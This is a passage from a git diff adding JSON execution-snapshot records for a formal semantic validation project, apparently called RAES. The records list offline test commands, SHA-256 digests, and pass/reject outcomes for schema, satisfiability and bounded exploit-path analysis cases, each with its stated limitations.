"configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "supply-chain-execution-v66", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "44a0fd9f722cae5653151723a7abfc6a7fe133cc", + "source_state": { + "base_revision": "44a0fd9f722cae5653151723a7abfc6a7fe133cc", + "checkout_state": "modified", + "implementation_digest": "1bc343832a6af025d7eef4a5033a64b17e20d00cce49a0906e1e4e4762c0a43d", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v67.json b/docs/research/formal-semantic-validation/execution-snapshot-v67.json new file mode 100644 index 000000000..a78c158c6 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v67.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "supply-chain-execution-v66", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v66.json", + "release_revision": "66.0.0", + "release_sha256": "752bcf4ac0c3528e5213d9edfde6d76a58a1848f80348b5442cbc7985e2673b0" + }, + "captured_at": "2026-09-30T22:41:24.312224+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-1401-execution-v67", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1401-execution-v67", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "6d55d336eb9f39eb7718834e2645888f965adc8d", + "source_state": { + "base_revision": 